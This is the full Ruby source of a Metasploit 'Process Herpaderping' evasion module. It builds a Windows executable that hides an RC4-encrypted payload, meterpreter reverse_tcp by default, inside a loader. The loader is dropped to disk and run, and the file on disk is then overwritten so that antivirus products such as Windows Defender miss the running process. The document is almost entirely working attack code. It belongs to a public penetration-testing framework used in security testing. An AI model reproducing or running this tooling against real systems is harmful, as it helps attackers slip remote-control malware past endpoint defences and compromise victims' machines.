## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'metasploit/framework/compiler/windows' class MetasploitModule < Msf::Evasion # These constants must match the constants defined in the PE loader code (ProcessHerpaderpingTemplate.cpp) MAX_JUNK_SIZE = 1024 MAX_PAYLOAD_SIZE = 8192 MAX_KEY_SIZE = 64 def initialize(info = {}) super( merge_info( info, 'Name' => 'Process Herpaderping evasion technique', 'Description' => %q{ This module allows you to generate a Windows executable that evades security products such as Windows Defender, Avast, etc. This uses the Process Herpaderping technique to bypass Antivirus detection. This method consists in obscuring the behavior of a running process by modifying the executable on disk after the image has been mapped in memory (more details https://jxy-s.github.io/herpaderping/). First, the chosen payload is encrypted and embedded in a loader Portable Executable (PE) file. This file is then included in the final executable. Once this executable is launched on the target, the loader PE is dropped on disk and executed, following the Process Herpaderping technique. Note that the name of the file that is being dropped is randomly generated. However, it is possible to configure the destination path from Metasploit (see WRITEABLE_DIR option description). Here is the main workflow: 1. Retrieve the target name (where the PE loader will be dropped). 2. Retrieve the PE loader from the binary and write it on disk. 3. Create a section object and create a process from the mapped image. 4. Modify the file content on disk by copying another (inoffensive) executable or by using random bytes (see REPLACED_WITH_FILE option description). 5. Create the main Thread. The source code is based on Johnny Shaw's PoC (https://github.com/jxy-s/herpaderping). }, 'Author' => [ 'Johnny Shaw', # Research and PoC 'Christophe De La Fuente' # MSF Module ], 'License' => MSF_LICENSE, 'References' => [ [ 'URL', 'https://jxy-s.github.io/herpaderping/' ], [ 'URL', 'https://github.com/jxy-s/herpaderping' ], ], 'Platform' => 'windows', 'Arch' => [ ARCH_X64, ARCH_X86 ], 'Payload' => { 'ForceEncode' => true }, 'Targets' => [ [ 'Microsoft Windows (x64)', { 'Arch' => ARCH_X64, 'DefaultOptions' => { 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' } } ], [ 'Microsoft Windows (x86)', { 'Arch' => ARCH_X86, 'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' } } ] ] ) ) register_options([ OptString.new('ENCODER', [ false, 'A specific encoder to use (automatically selected if not set)', nil ]), OptString.new('WRITEABLE_DIR', [ true, 'Where to write the loader on disk', '%TEMP%' ]), OptString.new('REPLACED_WITH_FILE', [ false, 'File to replace the target with. If not set, the target file will be '\ 'filled with random bytes (WARNING! it is likely to be caught by AV).', '%SystemRoot%\\System32\\calc.exe' ]) ]) end def patch_binary(bin, tag, value) placeholder = bin.index(tag) unless placeholder fail_with(Failure::BadConfig, "Invalid source binary: missing \"#{tag}\" tag") end bin[placeholder, value.size] = value nil end def encrypt_payload opts = { format: 'rc4', key: rc4_key } junk = Rex::Text.rand_text(10..MAX_JUNK_SIZE) p = payload.encoded + junk vprint_status("Payload size: #{p.size} = #{payload.encoded.size} + #{junk.size} (junk)") Msf::Simple::Buffer.transform(p, 'raw', nil, opts) end def rc4_key @rc4_key ||= Rex::Text.rand_text_alpha(32..MAX_KEY_SIZE) end def run case target.arch.first when ARCH_X64 arch_suffix = 'x64' when ARCH_X86 arch_suffix = 'x86' end payload = generate_payload if payload.encoded.size > MAX_PAYLOAD_SIZE fail_with(Failure::BadConfig, "Payload too big: #{payload.encoded.size} bytes (max: #{MAX_PAYLOAD_SIZE})") end base_path = ::File.join( Msf::Config.data_directory, 'evasion', 'windows', 'process_herpaderping' ) exe_path = ::File.join(base_path, "ProcessHerpaderping_#{arch_suffix}.exe") exe_path = ::File.expand_path(exe_path) pe = File.binread(exe_path) vprint_status("Using #{exe_path}") template_path = ::File.join(base_path, "ProcessHerpaderpingTemplate_#{arch_suffix}.exe") template_path = ::File.expand_path(template_path) payload_pe = File.binread(template_path) vprint_status("Using #{template_path}") patch_binary(payload_pe, 'ENCKEY', rc4_key) vprint_status("RC4 key: #{rc4_key}") encrypted_payload = encrypt_payload vprint_status("Encrypted payload size: #{encrypted_payload.size}") size_prefix = [encrypted_payload.size].pack('L<') patch_binary(payload_pe, 'PAYLOAD', (size_prefix + encrypted_payload).b) vprint_status("Payload PE size #{payload_pe.size}") patch_binary(pe, 'PAYLOAD', payload_pe) target_file_name = Rex::Text.rand_text_alpha_lower(4..10) target_path = datastore['WRITEABLE_DIR'] target_path << '\\' if target_path.last != '\\' target_path << target_file_name target_path << '.exe' patch_binary(pe, 'TARGETFILENAME', target_path.b) vprint_status("Target filename will be #{target_path}") replace_path = datastore['REPLACED_WITH_FILE'] if replace_path.nil? || replace_path.empty? replace_path = "\0" end patch_binary(pe, 'REPLACEFILENAME', replace_path.b) file_create(pe) if arch_suffix == 'x86' print_warning( "#### WARNING ####\n"\ "This payload won't work on 32-bit Windows 10 versions from 1511 (build\n"\ "10586) to 1703 (build 15063), including Windows 10 2016 LTSB (build 14393).\n"\ "These versions have a bug in the kernel that crashes/BugCheck the OS\n"\ "when executing this payload. So, to avoid this, the payload won't run if\n"\ 'it detects the OS is one of these versions.' ) end end end